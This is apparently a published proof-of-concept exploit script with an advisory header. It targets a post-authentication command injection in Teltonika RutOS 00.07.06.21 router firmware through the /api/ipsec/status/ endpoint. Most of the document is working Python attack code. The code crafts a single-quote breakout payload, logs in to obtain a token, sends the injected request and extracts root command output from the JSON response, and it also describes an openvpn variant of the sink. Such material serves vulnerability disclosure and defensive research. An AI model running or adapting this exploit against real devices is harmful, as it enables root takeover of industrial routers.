Title: Teltonika_RutOS 00.07.06.21 - command injection 
Author: 0day Rubbish Research Team
Contact: disclosure@0day-rubbish.com
Type: remote
Platform: Hardware


"""
Teltonika RutOS -- ipsec.lua instances_status() logread command injection PoC
=============================================================================

Advisory : https://0day-rubbish.com/blog/teltonika-rutos-ipsec-status-logread-command-injection
Vendor   : Teltonika Networks (Lithuania)
Target   : RutOS 00.07.06.21 -- RUT2XX / RUT200 industrial 4G/LTE router.
           RUT9XX is affected by byte-identity: its ipsec.lua is byte-identical
           to the RUT2 copy (md5 894c460ff3cece4ce0d5894199d8c07f, confirmed in
           both directions) and 177/177 shared Lua modules are byte-identical.
           Other RutOS branches shipping the same VuCI /api stack with the same
           services/ipsec.lua are expected to be affected but were not
           individually confirmed.
Platform : MIPS32 big-endian, musl soft-float, OpenWrt-derived. Web management
           plane is uhttpd in front of a VuCI Lua REST API (/api, 177 modules),
           MIPS CGI (/cgi-bin) and ubus-over-HTTP (/ubus).

Vulnerability summary (CWE-78, OS command injection, post-authentication):

    GET /api/ipsec/status/<sid>
        Authorization: Bearer <JWT>

    routes via paths_index.lua:265 to the "ipsec" service module. The route
    regex in paths_register.lua is ^/ipsec/([^/]*)/([^/]*)$, so the third path
    segment becomes "sid" and is URL-decoded per segment; the character class
    excludes only "/", so single quotes, semicolons and spaces all survive.
    dispatcher_common.lua:populate_endpoint copies sid into the endpoint
    object with no validation and sets _single = true.

    ipsec.lua GET_TYPE_status then calls instances_status(self, self.sid)
    BEFORE any existence check, and instances_status builds:

        "logread -e '<" .. sid .. "-" .. sid .. "_c|'"

    and passes it to vuci.util.exec() -- which is io.popen(cmd):read("*a"),
    i.e. /bin/sh -c cmd. sid is never passed through vuci.util.shellquote()
    (the correct helper exists at vuci/util.lua:100), so a single quote in sid
    closes the quoted argument and the remainder is parsed as new commands.
    sid is concatenated twice, so the injected command runs twice.

    The captured stdout is stored into the response object as ".logs", so the
    injected command's output is returned in the HTTP JSON ".data.logs" field.
    This is NOT blind RCE.

Effect : arbitrary command execution as root (uhttpd runs as root with no
         user-drop directive), with command stdout reflected in the response.
Score  : CVSS 8.8 -- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Sibling sink, same root cause, documented in the same advisory:
    openvpn.lua:1660 -- string.format("logread -e %s", sid), no surrounding
    quotes at all, so a bare ";" is enough. Selectable via --sink openvpn.

Verification status (stated exactly as performed):
    The injection was verified dynamically under QEMU MIPS user-mode emulation
    (qemu-mips-static, binfmt_misc MIPS big-endian) inside the extracted
    RutOS 00.07.06.21 rootfs, calling the REAL device vuci.util.exec against
    the exact constructed sink command. The marker file /tmp/rce_marker was
    written with "uid=0(root) gid=0(root) groups=0(root)", and the id output
    of the reflective payload was returned inside exec()'s value (the .logs
    field). An end-to-end HTTP attack against physical RUT2XX/RUT9XX hardware
    is NOT claimed.

Modes:
    --verify    self-contained proof of the injection and reflection mechanism
                (no device needed): rebuilds the sink command and runs it
                through /bin/sh -c
    --exploit   attack a live device over HTTP (requires valid credentials to
                obtain the JWT -- this is a post-authentication vulnerability)

Examples:
    python3 teltonika_rutos_ipsec_status_logread_rce.py --verify --cmd id
    python3 teltonika_rutos_ipsec_status_logread_rce.py --exploit \
        --host 127.0.0.1 --port 80 --user <user> --password <password> --cmd id

Defaults: host 127.0.0.1, port 80, command "id", sink "ipsec".

Standard library only: argparse / json / os / subprocess / sys / urllib --
no third-party dependencies. All output is English (LC_ALL=C).

For authorized security research and coordinated disclosure only. Do not use
against systems you are not explicitly authorized to test.
"""

import argparse
import json
import os
import subprocess
import sys
import urllib.error
import urllib.parse
import urllib.request


ADV_PATH = "/api/ipsec/status/"
SINKS = ("ipsec", "openvpn")


# ---------------------------------------------------------------------------
# Reproduce the exact vulnerable sink logic.
#
#   sid  = attacker-controlled 3rd URL path segment (URL-decoded per segment)
#   ipsec.lua   : "logread -e '<sid>-<sid>_c|'"   # sid x2, NO shellquote
#   openvpn.lua : string.format("logread -e %s", sid)   # NO quotes at all
#   vuci.util.exec(cmd) == io.popen(cmd):read("*a") == /bin/sh -c <cmd>
#
# With sid = ';<CMD>;echo ' the ipsec template becomes
#   logread -e '<';<CMD>;echo '-';<CMD>;echo '_c|'
# which /bin/sh parses as a semicolon-separated sequence: the legitimate
# logread, then <CMD> (running as root), then the template remainder running
# <CMD> again. The trailing echo re-opens a single quote so the rest of the
# template stays syntactically valid. popen captures every command's stdout, and that whole capture is what
# the device returns in the JSON "logs" field.
# ---------------------------------------------------------------------------

def build_sink_command(sid, sink_variant="ipsec"):
    """Return the exact shell command the vulnerable Lua sink builds."""
    if sink_variant == "ipsec":
        # ipsec.lua instances_status: "logread -e '<sid>-<sid>_c|'"
        return "logread -e '<" + sid + "-" + sid + "_c|'"
    # openvpn.lua:1660: string.format("logread -e %s", sid), no surrounding quotes
    return "logread -e " + sid


def make_payload_sid(cmd, sink_variant="ipsec"):
    """Wrap an arbitrary command into a sid value that breaks out of the
    vulnerable logread argument and runs <cmd> as root.

    ipsec.lua template  : logread -e '<sid>-<sid>_c|'
        -> sid = ';<cmd>;echo '        (single-quote breakout; <cmd> runs twice,
                                        once per sid copy)
    openvpn.lua template: logread -e <sid>          (no quotes at all)
        -> sid = ;<cmd>;echo           (bare semicolon; no breakout needed)

    <cmd> must not contain '/' -- the route regex ([^/]*) captures the sid as a
    single path segment, so a literal slash would be read as a separator.
    URL-encode it as %2F or pick a slash-free command such as 'id'."""
    if "/" in cmd:
        raise SystemExit(
            "[!] command must not contain '/' (the route regex [^/]* captures "
            "the sid as one path segment; URL-encode any slash as %2F or pick a "
            "slash-free command such as 'id')."
        )
    if sink_variant == "openvpn":
        return ";" + cmd + ";echo "
    return "';" + cmd + ";echo '"


def verify_sink(cmd_to_run="id", sink_variant="ipsec"):
    """Self-contained proof of the injection mechanism.

    Constructs the exact sink command from a crafted sid (mirroring the
    decompiled ipsec.lua constant assembly) and executes it through /bin/sh,
    then shows that the attacker command's output is injected into the captured
    stdout -- the same stdout the device returns in the JSON 'logs' field.

    Privilege note: this runs with the invoking user's uid. On the device the
    same construction executes as root, because uhttpd carries no user-drop
    directive; that was confirmed against the real firmware code under QEMU
    MIPS, where id wrote a marker containing uid=0(root) gid=0(root)."""
    sid = make_payload_sid(cmd_to_run, sink_variant)
    sink_cmd = build_sink_command(sid, sink_variant)
    print("=== RutOS %s.lua command-injection self-verification ===" % sink_variant)
    print("crafted sid        : " + sid)
    print("exact sink command : " + sink_cmd)
    print("attacker command   : " + cmd_to_run)
    print("exec via /bin/sh -c:")
    # Reproduce vuci.util.exec == io.popen(cmd):read("*a") == /bin/sh -c cmd
    proc = subprocess.Popen(
        ["/bin/sh", "-c", sink_cmd],
        stdout=subprocess.PIPE, stderr=subprocess.PIPE,
    )
    out, err = proc.communicate()
    out_s = out.decode("utf-8", "replace")
    err_s = err.decode("utf-8", "replace")
    print("--- captured stdout (== device JSON .logs field) ---")
    print(out_s if out_s.strip() else "(empty)")
    if err_s.strip():
        print("--- stderr ---")
        print(err_s)
    # Reflection = captured stdout contains real command output beyond the
    # fixed template artifacts. For the ipsec sink the attacker command runs
    # twice (sid is concatenated twice), so its output appears twice.
    template_artifacts = {"", "-", "_c|"}
    real_lines = [ln for ln in out_s.splitlines() if ln not in template_artifacts]
    reflected = len(real_lines) >= 1
    print("=== RESULT ===")
    print("attacker command output reflected in stdout : " + str(reflected))
    if reflected:
        print("[+] CONFIRMED: arbitrary command executed and reflected "
              "(output appears in the device JSON .logs field).")
    else:
        print("[-] not reflected (check that '" + cmd_to_run + "' produces stdout).")
    return reflected


# ---------------------------------------------------------------------------
# HTTP weaponized form against a live RutOS device.
# ---------------------------------------------------------------------------

def http_request(url, method="GET", headers=None, body=None, timeout=15):
    req = urllib.request.Request(url, data=body, method=method)
    if headers:
        for k, v in headers.items():
            req.add_header(k, v)
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return resp.getcode(), resp.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", "replace")
    except urllib.error.URLError as e:
        # HTTPError is a URLError subclass, so this only catches connect/DNS/TLS
        # failures. The /api management plane is LAN-facing by default
        # (_httpWanAccess=0 / _httpsWanAccess=0 on uhttpd), so an unreachable
        # host is the normal case for an off-network run.
        raise SystemExit("[!] could not reach %s (%s)" % (url, e.reason))
    except Exception as e:
        raise SystemExit("[!] request to %s failed: %s" % (url, e))


def login(base, user, pwd):
    """POST /api/login -> ubus("session","login",{username,password}) (standard
    OpenWrt PAM) -> returns a session/JWT token; falls back to /api/jwt_login.
    Both paths are on the unauthenticated allowlist and are sink-free -- the
    injection itself requires a valid token."""
    body = json.dumps({"username": user, "password": pwd}).encode("utf-8")
    code, text = http_request(
        base + "/api/login", method="POST",
        headers={"Content-Type": "application/json"}, body=body,
    )
    token = None
    try:
        data = json.loads(text)
        token = data.get("data", {}).get("ubus_rpc_session") or \
            data.get("ubus_rpc_session") or data.get("token")
    except Exception:
        pass
    if not token:
        # try jwt_login
        code, text = http_request(
            base + "/api/jwt_login", method="POST",
            headers={"Content-Type": "application/json"}, body=body,
        )
        try:
            data = json.loads(text)
            token = data.get("data", {}).get("token") or data.get("token")
        except Exception:
            pass
    if not token:
        raise SystemExit("[!] login failed: HTTP %d %s" % (code, text[:200]))
    return token


def exploit(base, user, pwd, cmd, sink_variant="ipsec"):
    """Send GET /api/ipsec/status/<payload> with a Bearer JWT and extract the
    reflected command output from the JSON 'logs' field.

    Note: the openvpn sink variant shares the same root cause but lives behind a
    different service module path; the documented HTTP chain in this advisory is
    the ipsec one, so live mode always drives /api/ipsec/status/."""
    token = login(base, user, pwd)
    print("[+] obtained auth token (len=%d)" % len(token))
    sid = make_payload_sid(cmd, "ipsec")
    encoded_sid = urllib.parse.quote(sid, safe="")
    url = base + ADV_PATH + encoded_sid
    print("[+] GET " + url)
    code, text = http_request(
        url, method="GET",
        headers={"Authorization": "Bearer " + token, "Accept": "application/json"},
    )
    print("[+] HTTP %d" % code)
    logs = None
    try:
        data = json.loads(text)
        logs = data.get("data", {}).get("logs") or data.get("logs")
    except Exception:
        pass
    print("=== reflected command output (response .logs) ===")
    print(logs if logs else text[:500])
    return logs


def main():
    os.environ["LC_ALL"] = "C"
    os.environ["LANG"] = "C"
    p = argparse.ArgumentParser(
        description="Teltonika RutOS ipsec.lua instances_status() logread "
                    "command injection (CWE-78, authenticated root RCE with "
                    "reflected output)")
    p.add_argument("--verify", action="store_true",
                   help="self-contained proof of the injection mechanism (no device needed)")
    p.add_argument("--exploit", action="store_true",
                   help="attack a live device over HTTP (requires valid credentials)")
    p.add_argument("--sink", choices=SINKS, default="ipsec",
                   help="which documented sink construction to mirror (default: ipsec)")
    p.add_argument("--host", default="127.0.0.1",
                   help="target host or IP (default: 127.0.0.1)")
    p.add_argument("--port", type=int, default=80)
    p.add_argument("--https", action="store_true")
    p.add_argument("--user", default="admin01",
                   help="a valid web-management username (firmware default is admin01, "
                        "which is force-changed at first login)")
    p.add_argument("--password", default="admin01",
                   help="the matching password")
    p.add_argument("--cmd", default="id",
                   help="slash-free command to execute on the target (default: id)")
    args = p.parse_args()

    if args.exploit:
        scheme = "https" if args.https else "http"
        base = "%s://%s:%d" % (scheme, args.host, args.port)
        exploit(base, args.user, args.password, args.cmd, args.sink)
    else:
        ret = verify_sink(args.cmd, args.sink)
        sys.exit(0 if ret else 1)


if __name__ == "__main__":
    main()